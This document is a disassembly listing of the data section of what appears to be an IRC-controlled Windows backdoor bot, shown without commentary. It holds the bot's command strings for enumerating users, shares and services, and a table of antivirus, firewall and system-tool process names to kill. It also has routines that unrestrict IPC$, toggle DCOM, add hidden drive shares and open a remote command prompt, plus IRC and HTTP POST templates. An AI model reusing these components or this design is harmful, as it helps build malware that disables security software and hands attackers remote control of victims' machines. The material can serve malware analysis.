aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418CE8+3Co
align 10h
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418E66+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_418E66:loc_418F32o
aStarting db ' Starting',0 ; DATA XREF: sub_418E66:loc_418F2Bo
aStoping db ' Stoping',0 ; DATA XREF: sub_418E66:loc_418F24o
aRunning db ' Running',0 ; DATA XREF: sub_418E66:loc_418F1Do
aContinuing db ' Continuing',0 ; DATA XREF: sub_418E66:loc_418F16o
aPausing db ' Pausing',0 ; DATA XREF: sub_418E66:loc_418F0Fo
aPaused_0 db ' Paused',0 ; DATA XREF: sub_418E66:loc_418F08o
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418E66+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_418E66+25o
align 4
unk_4393AC db 2Dh ; - ; DATA XREF: sub_418FA3+ABo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 10h
dword_4393D0 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_418FA3+89o
dd 73252720h, 27h
unk_4393EC db 2Dh ; - ; DATA XREF: sub_418FA3+57o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419198+D0o
align 10h
aNo db 'No',0 ; DATA XREF: sub_419198+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_419198+B5o
unk_439438 db 2Dh ; - ; DATA XREF: sub_419198+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_419198+26o
align 4
unk_439498 db 2Dh ; - ; DATA XREF: sub_4192B9+B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 10h
unk_4394C0 db 2Dh ; - ; DATA XREF: sub_4192B9+94o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 10h
unk_4394F0 db 2Dh ; - ; DATA XREF: sub_4192B9+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 10h
unk_439510 db 2Dh ; - ; DATA XREF: sub_4193FF+394o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_4193FF+36Ao
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_4193FF+33Fo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4193FF+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_4193FF+2ECo
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_4193FF+2C4o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_4193FF+299o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_4193FF+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_4193FF+246o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_4193FF+21Eo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_4193FF+1F3o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_4193FF+1CBo
align 10h
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_4193FF+1A0o
align 10h
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_4193FF+178o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_4193FF+14Do
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_4193FF+125o
aGuest db 'Guest',0 ; DATA XREF: sub_4193FF:loc_419518o
align 10h
aUser_0 db 'User',0 ; DATA XREF: sub_4193FF:loc_419511o
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_4193FF:loc_41950Ao
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_4193FF+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_4193FF+ACo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_4193FF+81o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_4193FF+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4197CD+14Fo
align 4
unk_4396CC db 2Dh ; - ; DATA XREF: sub_4197CD+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
aS_4 db ' %S',0 ; DATA XREF: sub_4197CD+BEo
align 10h
unk_439700 db 2Dh ; - ; DATA XREF: sub_4197CD+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4197CD+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41994D:loc_419A6Ao
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41994D:loc_419A63o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41994D:loc_419A5Co
align 10h
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41994D:loc_419A55o
align 10h
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41994D:loc_419A4Eo
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_41994D:loc_419A31o
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41994D:loc_419A2Ao
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41994D:loc_419A23o
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_41994D+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_41994D:loc_4199F8o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41994D:loc_4199F1o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_41994D:loc_4199EAo
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41994D:loc_4199E0o
align 10h
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41994D+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41994D:loc_4199BAo
align 10h
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41994D:loc_4199B0o
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41994D:loc_4199A6o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_41994D:loc_41999Co
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41994D:loc_419992o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41994D+3Bo
align 4
dword_439A08 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419A81+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_439A34 db 2Dh ; - ; DATA XREF: sub_419A81+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dd 7530h
off_439A60 dd offset aRegedit_exe ; DATA XREF: sub_419BAA+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_439B68
dd offset dword_439B5C
dd offset dword_439B50
dd offset dword_439B44
dd offset dword_439B38
dd offset dword_439B2C
dd offset dword_439B1C
dd offset dword_439B10
dd offset dword_439B04
dd offset dword_439AF8
dd offset dword_439AEC
dd offset dword_439ADC
dd offset dword_439AD0
dd offset dword_439AC0
dword_439AC0 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419BAA+ECo
; ___:00439ABCo
dword_439AD0 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439AB8o
dword_439ADC dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439AB4o
dword_439AEC dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439AB0o
dword_439AF8 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439AACo
dword_439B04 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439AA8o
dword_439B10 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439AA4o
dword_439B1C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439AA0o
dword_439B2C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439A9Co
dword_439B38 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439A98o
dword_439B44 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:00439A94o
dword_439B50 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:00439A90o
dword_439B5C dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:00439A8Co
dword_439B68 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:00439A88o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439A84o
align 4
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439A80o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:00439A7Co
align 10h
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:00439A78o
align 10h
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:00439A74o
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:00439A70o
align 4
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:00439A6Co
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:00439A68o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:00439A64o
align 10h
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_439A60o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419BAA+191o
align 4
unk_439C18 db 2Dh ; - ; DATA XREF: sub_419DD9:loc_419E60o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_439C3C db 2Dh ; - ; DATA XREF: sub_419DD9+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 10h
unk_439C60 db 2Dh ; - ; DATA XREF: sub_419DD9+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419F76+33o
unk_439C90 db 2Dh ; - ; DATA XREF: sub_419FFD:loc_41A12Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439CC0 db 2Dh ; - ; DATA XREF: sub_419FFD+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419FFD:loc_41A0E3o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 4
unk_439D18 db 2Dh ; - ; DATA XREF: sub_41A152+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
unk_439D4C db 2Dh ; - ; DATA XREF: sub_41A152+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 10h
off_439D70 dd offset dword_439DA8 ; DATA XREF: sub_41A367+1B3o
; sub_41A68B+17Ao
align 8
dd offset dword_439DA0
align 10h
off_439D80 dd offset dword_439D9C ; DATA XREF: sub_41A68B+1E3o
dd offset dword_439D98
dd offset dword_439D94
dd offset dword_439D90
dword_439D90 dd 5C3A44h ; DATA XREF: sub_41A367+217o
; ___:00439D8Co
dword_439D94 dd 2444h ; DATA XREF: ___:00439D88o
dword_439D98 dd 5C3A43h ; DATA XREF: ___:00439D84o
dword_439D9C dd 2443h ; DATA XREF: ___:off_439D80o
dword_439DA0 dd 494D4441h, 244Eh ; DATA XREF: ___:00439D78o
dword_439DA8 dd 24435049h, 0 ; DATA XREF: ___:off_439D70o
dword_439DB0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+2E5o
; sub_41A68B+2D8o
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_439DE0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+2CFo
aNetworkSharesD db '- Network shares deleted.',0
align 4
dword_439E08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A5C9o
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_439E34 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 4
dword_439E58 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A536o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_439E84 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 4
dword_439EA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A499o
; sub_41A68B:loc_41A7B9o
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_439ED8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A492o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_439F14 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A474o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 4
dword_439F48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A367+EDo
; sub_41A68B+EDo
align 4
dword_439F98 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+91o
; sub_41A68B+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_439FC8 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_41A367:loc_41A3D4o
dd 62617369h, 2E64656Ch, 0
dword_439FE8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A367+54o
; sub_41A68B+54o
align 4
dword_43A018 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+2C0o
aNetworkSharesA db '- Network shares added.',0
aC_0 db '%c:\',0 ; DATA XREF: sub_41A68B+22Ao
align 4
aC_1 db '%c$',0 ; DATA XREF: sub_41A68B+219o
dword_43A048 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B:loc_41A82Ao
; sub_41A68B:loc_41A8F8o
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A070 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+198o
; sub_41A68B+266o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_43A090 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B:loc_41A7B2o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_43A0CC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B:loc_41A794o
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_43A104 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_43A144 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A68B:loc_41A6F8o
dd 6C62616Eh, 2E6465h
dword_43A160 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A9BC+DEo
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dword_43A1B8 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41AB97+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41AB97+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41AB97+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41AB97+B6o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41AB97+AFo
align 4
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AB97+A8o
align 10h
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AB97+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41AB97+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41AB97+93o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41AB97+8Co
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41AB97+85o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41AB97+7Eo
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41AB97+77o
align 4
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41AB97+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41AB97+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41AB97+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41AB97+5Bo
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41AB97+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41AB97+4Do
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41AB97+46o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41AB97+3Fo
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41AB97+38o
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41AB97+31o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41AB97+2Ao
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41AB97+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41AB97+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41AB97+15o
dword_43A3C4 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41AF2B+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_43A4A0 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF2B+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF2B:loc_41B08Fo
align 4
dword_43A4C4 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41B1DF+ABo
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43A508 dd offset loc_412F4E ; DATA XREF: sub_41B1DF:loc_41B253o
off_43A50C dd offset dword_4E414C ; DATA XREF: sub_41B1DF:loc_41B24Co
dword_43A510 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B1DF+5Bo
dword_43A518 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B1DF+48o
unk_43A528 db 2Dh ; - ; DATA XREF: sub_41B2A5:loc_41B45Eo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 4
unk_43A558 db 2Dh ; - ; DATA XREF: sub_41B2A5:loc_41B457o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_43A584 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41B2A5+1A0o
dd 4C525520h, 2Eh
unk_43A5A0 db 2Dh ; - ; DATA XREF: sub_41B2A5:loc_41B438o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 4
dword_43A5DC dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41B2A5+18Co
dd 64657469h, 2Eh
dword_43A5F8 dd 2A2F2Ah ; DATA XREF: sub_41B2A5+3Bo
word_43A5FC dw 4 ; DATA XREF: sub_41B4FB+10r
align 10h
dword_43A600 dd 6325h ; DATA XREF: ___:0041B83Co
dword_43A604 dd 0DFFh ; DATA XREF: ___:0041B68Ao
dword_43A608 dd 51FFh ; DATA XREF: ___:0041B67Fo
dword_43A60C dd 0EBFFh ; DATA XREF: ___:0041B674o
dword_43A610 dd 201h ; DATA XREF: ___:0041B65Fo
dword_43A614 dd 20424652h, 2E333030h, 0A383030h, 4 dup(0) ; DATA XREF: ___:0041B64Do
dword_43A630 dd 5F8843F5h ; DATA XREF: sub_41C058+4w sub_41C062r ...
align 10h
dword_43A640 dd 173Fh ; DATA XREF: sub_41CDE5+Dr
dd 9875h, 9873h
off_43A64C dd offset sub_41CEB4 ; DATA XREF: ___:0041BF04r
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0CEh, 41h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0CEh, 41h, 0
dword_43A658 dd 1B3Fh ; DATA XREF: sub_41CF2B+Dr
dword_43A65C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D3AD+2o
; sub_41D3B6+2o
off_43A670 dd offset sub_41BF42 ; DATA XREF: sub_41E1C9+1Cr
dword_43A674 dd 2 ; DATA XREF: sub_423498+Er
; sub_4234D1+46r ...
dd 10h
dword_43A67C dd 3F8h ; DATA XREF: sub_41BB48+4Dr
; sub_41BCD9+5r ...
off_43A680 dd offset word_43A68A ; DATA XREF: sub_41BE6E+23r
; sub_41BE6E:loc_41BECFr ...
off_43A684 dd offset word_43A68A ; DATA XREF: sub_426B2A+18r
db 2 dup(0)
word_43A68A dw 20h ; DATA XREF: sub_424C57+18r
; ___:off_43A680o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43A88C dd 1 ; DATA XREF: sub_41BE6E:loc_41BE76r
; sub_41BE6E:loc_41BEBAr ...
byte_43A890 db 2Eh ; DATA XREF: sub_420445:loc_420739r
; sub_420445+311r ...
align 4
dd 1
off_43A898 dd offset aNull_0 ; DATA XREF: sub_41F5D4:loc_41F938r
; sub_41F5D4+457r
; "(null)"
off_43A89C dd offset aNull ; DATA XREF: sub_41F5D4+259r
; "(null)"
byte_43A8A0 db 1 ; DATA XREF: sub_41FDDE+E1r
db 2, 4, 8
align 8
dword_43A8A8 dd 3A4h ; DATA XREF: sub_41FDDE+2Fo
dword_43A8AC dd 82798260h, 21h, 0 ; DATA XREF: sub_41FDDE+11Dr
dword_43A8B8 dd 0DFA6h ; DATA XREF: sub_41FDDE+C0r
align 10h
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43A998 dd 1 ; DATA XREF: sub_41FDDE+3Co
; sub_420314+Co
dword_43A99C dd 16h ; DATA XREF: sub_420314:loc_420349r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43AB00 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420314+19o
; sub_420445:loc_4209ACo
dword_43AB08 dd 5Dh, 0 ; DATA XREF: sub_420445:loc_42089Co
dword_43AB10 dd 14h ; DATA XREF: sub_421559+2o
off_43AB14 dd offset aExp ; DATA XREF: sub_421559:loc_421576r
; "exp"
dd 1Dh, 427840h, 1Ah, 42C61Ch, 1Bh, 427838h, 1Fh, 427830h
dd 13h, 427828h, 21h, 427820h, 0Eh, 427818h, 0Dh, 427810h
dd 0Fh, 427808h, 10h, 427800h, 5, 4277F8h, 1Eh, 4277F4h
dd 12h, 4277F0h, 20h, 4277ECh, 0Ch, 4277E4h, 0Bh, 4277DCh
dd 15h, 4277D4h, 1Ch, 4277CCh, 19h, 4277C4h, 11h, 4277BCh
dd 18h, 4277B4h, 16h, 4277ACh, 17h, 4277A4h, 22h, 4277A0h
dd 23h, 42779Ch, 24h, 427798h
dbl_43ABE8 dq 1.797693134862316e308 ; DATA XREF: sub_421294+B7r
; sub_421294:loc_42137Br ...
dd 0
dd 0FFF80000h
dbl_43ABF8 dq 1.797693134862316e308 ; DATA XREF: sub_421294+92r
; sub_421294:loc_421353r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43AC10 dt 2.3562723457267347066e313 ; DATA XREF: sub_421741+Dr
; sub_421741+1Fr
align 4
tbyte_43AC1C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421741+31r
align 4
off_43AC28 dd offset sub_421BD5 ; DATA XREF: sub_41CECC+Fw
; sub_41F5D4+3AAr
